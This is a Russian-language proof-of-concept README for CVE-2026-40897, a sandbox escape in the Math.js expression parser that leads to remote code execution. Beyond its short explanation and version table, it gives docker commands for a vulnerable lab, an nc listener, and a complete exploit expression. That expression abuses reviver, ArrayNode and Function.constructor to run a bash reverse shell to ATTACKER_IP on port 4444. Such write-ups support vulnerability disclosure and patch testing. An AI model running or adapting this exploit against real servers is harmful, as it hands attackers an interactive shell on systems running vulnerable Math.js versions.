
RCE в анализаторе выражений Math.js
★ CVE-2026-40897 Удаленное выполнение кода в Math.js PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 — это уязвимость обхода песочницы, приводящая к удаленному выполнению кода, в парсере выражений Math.js. Фильтр
isSafePropertyпроверяет только доступ к свойствам из пользовательских выражений, но не из внутренних путей кода. Утекая внутренний массивArrayNodeчерезtoJSON()и перезаписывая его.map, злоумышленник может заставить внутренний код обратиться кFunction.constructorи выполнить произвольный JavaScript.
| Категория | Версия |
|---|---|
| Уязвимые | Math.js 13.1.1 ≤ версия ≤ 15.1.1 |
| Исправленные | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
После запуска уязвимого окружения выполните следующие шаги, чтобы воспроизвести атаку.
nc -lvnp 4444
Отправьте следующее выражение в math.evaluate (например, через поле ввода вычислений в приложении).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
Целевой сервер подключается обратно к прослушивателю атакующего, предоставляя интерактивную bash-оболочку.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) через парсер выражений